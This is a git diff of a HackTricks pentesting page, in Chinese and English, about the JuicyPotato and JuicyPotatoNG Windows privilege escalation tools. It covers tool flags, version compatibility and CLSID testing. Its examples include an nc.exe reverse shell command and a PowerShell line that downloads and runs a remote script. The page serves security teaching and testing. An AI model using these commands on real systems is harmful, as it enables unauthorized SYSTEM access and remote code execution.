diff --git a/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md b/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md
index e6df05418..72bece0ac 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md
@@ -2,54 +2,60 @@
{{#include ../../banners/hacktricks-training.md}}
-> [!WARNING] > **JuicyPotato在** Windows Server 2019 和 Windows 10 build 1809 及之后的版本上**无法工作**。然而, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) 可以用来 **利用相同的权限并获得 `NT AUTHORITY\SYSTEM`** 级别的访问权限。 _**检查:**_
+> [!WARNING] > JuicyPotato 是遗留工具。它通常在 Windows 10 1803 / Windows Server 2016 及更早版本上有效。Microsoft 在 Windows 10 1809 / Server 2019 开始引入的强化更改破坏了原始技术。对于那些版本及更新的系统,请考虑使用更现代的替代方案,例如 PrintSpoofer、RoguePotato、SharpEfsPotato/EfsPotato、GodPotato 等。请参见下方页面以获取最新的选项和用法。
+
{{#ref}}
roguepotato-and-printspoofer.md
{{#endref}}
-## Juicy Potato (滥用黄金权限)
+## Juicy Potato (abusing the golden privileges)
-_一个经过糖化的_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG) _版本,带有一点果汁,即 **另一个本地权限提升工具,从 Windows 服务账户到 NT AUTHORITY\SYSTEM**_
+_A sugared version of_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, with a bit of juice, i.e. **another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM**_
-#### 你可以从 [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts) 下载 juicypotato
+#### You can download juicypotato from [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts)
+
+### 兼容性快速说明
+
+- 在当前上下文拥有 SeImpersonatePrivilege 或 SeAssignPrimaryTokenPrivilege 时,对 Windows 10 1803 和 Windows Server 2016 及更早版本可靠。
+- 在 Windows 10 1809 / Windows Server 2019 及以后版本被 Microsoft 的加固破坏。对于这些版本,优先使用上面链接的替代工具。
### 摘要
-[**来自 juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:**
+[**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:**
-[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) 及其 [变体](https://github.com/decoder-it/lonelypotato) 利用基于 [`BITS`]() [服务](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) 的权限提升链,具有在 `127.0.0.1:6666` 上的 MiTM 监听器,并且当你拥有 `SeImpersonate` 或 `SeAssignPrimaryToken` 权限时。在一次 Windows 构建审查中,我们发现了一个故意禁用 `BITS` 的设置,并且端口 `6666` 被占用。
+[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) and its [variants](https://github.com/decoder-it/lonelypotato) leverages the privilege escalation chain based on [`BITS`]() [service](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) having the MiTM listener on `127.0.0.1:6666` and when you have `SeImpersonate` or `SeAssignPrimaryToken` privileges. During a Windows build review we found a setup where `BITS` was intentionally disabled and port `6666` was taken.
-我们决定武器化 [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG):**向 Juicy Potato 打个招呼**。
+We decided to weaponize [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG): **Say hello to Juicy Potato**.
-> 有关理论,请参见 [Rotten Potato - 从服务账户到 SYSTEM 的权限提升](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) 并跟随链接和参考链。
+> For the theory, see [Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) and follow the chain of links and references.
-我们发现,除了 `BITS` 之外,还有几个 COM 服务器可以被滥用。它们只需要:
+我们发现,除了 `BITS` 之外,还有若干可以滥用的 COM 服务器。它们只需满足:
-1. 由当前用户实例化,通常是具有模拟权限的“服务用户”
+1. 可由当前用户实例化,通常是具有模拟权限的“服务用户”
2. 实现 `IMarshal` 接口
-3. 以提升的用户身份运行(SYSTEM,Administrator,…)
+3. 以提升的用户身份运行(SYSTEM、Administrator 等)
-经过一些测试,我们在多个 Windows 版本上获得并测试了一份广泛的 [有趣 CLSID 列表](http://ohpe.it/juicy-potato/CLSID/)。
+经过一些测试,我们在多个 Windows 版本上收集并测试了大量[有趣的 CLSID](http://ohpe.it/juicy-potato/CLSID/)。
-### Juicy 细节
+### 详细说明
JuicyPotato 允许你:
-- **目标 CLSID** _选择你想要的任何 CLSID。_ [_这里_](http://ohpe.it/juicy-potato/CLSID/) _你可以找到按操作系统组织的列表。_
-- **COM 监听端口** _定义你喜欢的 COM 监听端口(而不是硬编码的 6666)_
-- **COM 监听 IP 地址** _在任何 IP 上绑定服务器_
-- **进程创建模式** _根据模拟用户的权限,你可以选择:_
-- `CreateProcessWithToken`(需要 `SeImpersonate`)
-- `CreateProcessAsUser`(需要 `SeAssignPrimaryToken`)
-- `两者`
-- **要启动的进程** _如果利用成功,启动一个可执行文件或脚本_
-- **进程参数** _自定义启动进程的参数_
-- **RPC 服务器地址** _为了隐蔽的方法,你可以认证到外部 RPC 服务器_
-- **RPC 服务器端口** _如果你想认证到外部服务器并且防火墙阻止端口 `135`,这很有用…_
-- **测试模式** _主要用于测试目的,即测试 CLSID。它创建 DCOM 并打印令牌的用户。有关测试,请参见_ [_这里_](http://ohpe.it/juicy-potato/Test/)
+- **Target CLSID** _选择任意你想要的 CLSID。_[_Here_](http://ohpe.it/juicy-potato/CLSID/) _你可以找到按操作系统组织的列表。_
+- **COM Listening port** _定义你偏好的 COM 监听端口(而不是封装时硬编码的 6666)_
+- **COM Listening IP address** _在任意 IP 上绑定服务器_
+- **Process creation mode** _根据被模拟用户的权限,你可以选择:_
+- `CreateProcessWithToken` (needs `SeImpersonate`)
+- `CreateProcessAsUser` (needs `SeAssignPrimaryToken`)
+- `both`
+- **Process to launch** _如果利用成功,启动可执行文件或脚本_
+- **Process Argument** _自定义启动进程的参数_
+- **RPC Server address** _为了更隐蔽的方法,你可以向外部 RPC 服务器进行认证_
+- **RPC Server port** _如果你想认证到外部服务器且防火墙拦截了端口 `135`,此项有用…_
+- **TEST mode** _主要用于测试目的,例如测试 CLSID。它会创建 DCOM 并打印 token 的用户。见_ [_here for testing_](http://ohpe.it/juicy-potato/Test/)
-### 使用
+### Usage
```
T:\>JuicyPotato.exe
JuicyPotato v0.1
@@ -66,23 +72,45 @@ Optional args:
-k : RPC server ip address (default 127.0.0.1)
-n : RPC server listen port (default 135)
```
-### 最后思考
+### Final thoughts
-[**来自 juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:**
+[**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:**
-如果用户拥有 `SeImpersonate` 或 `SeAssignPrimaryToken` 权限,那么你就是 **SYSTEM**。
+如果用户拥有 `SeImpersonate` 或 `SeAssignPrimaryToken` 特权,那么你就是 **SYSTEM**。
-几乎不可能防止所有这些 COM 服务器的滥用。你可以考虑通过 `DCOMCNFG` 修改这些对象的权限,但祝你好运,这将是一个挑战。
+几乎不可能完全阻止对这些 COM Servers 的滥用。你可以考虑通过 `DCOMCNFG` 修改这些对象的权限,但祝你好运,这将非常具有挑战性。
-实际的解决方案是保护在 `* SERVICE` 账户下运行的敏感账户和应用程序。停止 `DCOM` 无疑会抑制此漏洞,但可能会对底层操作系统产生严重影响。
+实际的解决方案是保护在 `* SERVICE` 帐户下运行的敏感帐户和应用程序。停止 `DCOM` 确实会抑制此类利用,但可能对底层操作系统造成严重影响。
-来自: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/)
+From: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/)
+
+## JuicyPotatoNG (2022+)
+
+JuicyPotatoNG 通过组合以下方法,在现代 Windows 上重新引入了 JuicyPotato-style 的本地提权:
+
+- DCOM OXID resolution 到选定端口上的本地 RPC server,避免以前硬编码的 127.0.0.1:6666 监听器。
+- 使用 SSPI hook 捕获并模拟入站的 SYSTEM 认证,而无需 RpcImpersonateClient,这也使得在仅存在 SeAssignPrimaryTokenPrivilege 时能够使用 CreateProcessAsUser。
+- 满足 DCOM 激活约束的技巧(例如,针对 PrintNotify / ActiveX Installer Service classes 时之前的 INTERACTIVE-group 要求)。
+
+重要说明(随各版本行为演变):
+- 2022 年 9 月:初始技术使用 “INTERACTIVE trick” 在受支持的 Windows 10/11 和 Server 目标上有效。
+- 2023 年 1 月作者更新:Microsoft 随后阻止了 INTERACTIVE trick。不同的 CLSID ({A9819296-E5B3-4E67-8226-5E72CE9E1FB7}) 恢复了利用,但根据他们的帖子仅在 Windows 11 / Server 2022 上有效。
+
+Basic usage (more flags in the help):
+```
+JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami"
+# Useful helpers:
+# -b Bruteforce all CLSIDs (testing only; spawns many processes)
+# -s Scan for a COM port not filtered by Windows Defender Firewall
+# -i Interactive console (only with CreateProcessAsUser)
+```
+如果你的目标是已对经典 JuicyPotato 修补的 Windows 10 1809 / Server 2019,优先使用顶部链接的替代方案(RoguePotato、PrintSpoofer、EfsPotato/GodPotato 等)。NG 的效果可能视具体的构建版本和服务状态而定。
## 示例
-注意: 访问 [此页面](https://ohpe.it/juicy-potato/CLSID/) 获取可尝试的 CLSID 列表。
+注意:访问 [this page](https://ohpe.it/juicy-potato/CLSID/) 获取可尝试的 CLSID 列表。
-### 获取 nc.exe 反向 shell
+### 获取 nc.exe reverse shell
```
c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *
@@ -95,34 +123,33 @@ Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
c:\Users\Public>
```
-### Powershell rev
+### Powershell 反向
```
.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *
```
-### 启动新的 CMD(如果您有 RDP 访问权限)
+### 启动一个新的 CMD(如果你有 RDP 访问)
.png>)
## CLSID 问题
-通常,JuicyPotato 使用的默认 CLSID **无法工作**,并且漏洞利用失败。通常,需要多次尝试才能找到 **有效的 CLSID**。要获取特定操作系统的 CLSID 列表,您应该访问此页面:
+通常 JuicyPotato 使用的默认 CLSID **不起作用**,exploit 会失败。通常需要多次尝试才能找到一个**有效的 CLSID**。要获取针对特定操作系统的 CLSID 列表,请访问此页面:
-{{#ref}}
-https://ohpe.it/juicy-potato/CLSID/
-{{#endref}}
+- [https://ohpe.it/juicy-potato/CLSID/](https://ohpe.it/juicy-potato/CLSID/)
### **检查 CLSID**
-首先,您需要一些可执行文件,除了 juicypotato.exe。
+首先,除了 juicypotato.exe,你还需要一些可执行文件。
-下载 [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) 并将其加载到您的 PS 会话中,然后下载并执行 [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1)。该脚本将创建一个可能的 CLSID 列表以供测试。
+下载 Join-Object.ps1 并将其加载到你的 PS 会话中,然后下载并执行 GetCLSID.ps1。该脚本会生成一个可供测试的 CLSID 列表。
-然后下载 [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat)(更改 CLSID 列表和 juicypotato 可执行文件的路径)并执行它。它将开始尝试每个 CLSID,**当端口号改变时,这意味着 CLSID 有效**。
+然后下载 [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat)(修改到 CLSID 列表和到 juicypotato 可执行文件 的路径) 并执行它。它会开始尝试每个 CLSID,**当端口号改变时,表示该 CLSID 生效**。
-**检查** 有效的 CLSID **使用参数 -c**
+**使用参数 -c 检查有效的 CLSID**
-## 参考
+## References
- [https://github.com/ohpe/juicy-potato/blob/master/README.md](https://github.com/ohpe/juicy-potato/blob/master/README.md)
+- [Giving JuicyPotato a second chance: JuicyPotatoNG (decoder.it)](https://decoder.cloud/2022/09/21/giving-juicypotato-a-second-chance-juicypotatong/)
{{#include ../../banners/hacktricks-training.md}}